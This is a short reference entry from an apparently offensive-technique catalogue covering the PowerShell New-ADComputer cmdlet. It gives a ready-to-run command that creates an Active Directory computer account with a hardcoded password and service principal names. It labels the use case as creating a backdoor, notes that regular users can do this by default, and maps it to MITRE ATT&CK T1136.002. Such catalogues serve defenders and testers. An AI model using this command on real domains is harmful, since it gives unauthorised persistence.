.. / New-ADComputer

Creates a new Active Directory computer

Functions:	Domain
Type:	Cmdlets
Toolsets:	RSAT

Domain

Create computer account

$account = 'MyComputer'
$password = 'Password1!'
$domain = 'ad.bitsadmin.com'
New-ADComputer -Name $account -SAMAccountName $account -AccountPassword (ConvertTo-SecureString $password -Force -AsPlainText) -Verbose -DNSHostName "$account.$domain" -ServicePrincipalNames @("HOST/$account.$domain","RestrictedKrbHost/$account.$domain","HOST/$account","RestrictedKrbHost/$account")

Usecase
Create backdoor user in the AD

Comments

Can be performed by a regular user
By default the attribute ms-DS-MachineAccountQuota (global setting) is set to 10 for all domain users
PowerShell Module: ActiveDirectory

Mitre Att&ck
T1136.002

Updated: 2023-07-01

Contributor: Arris Huijgen (bitsadmin)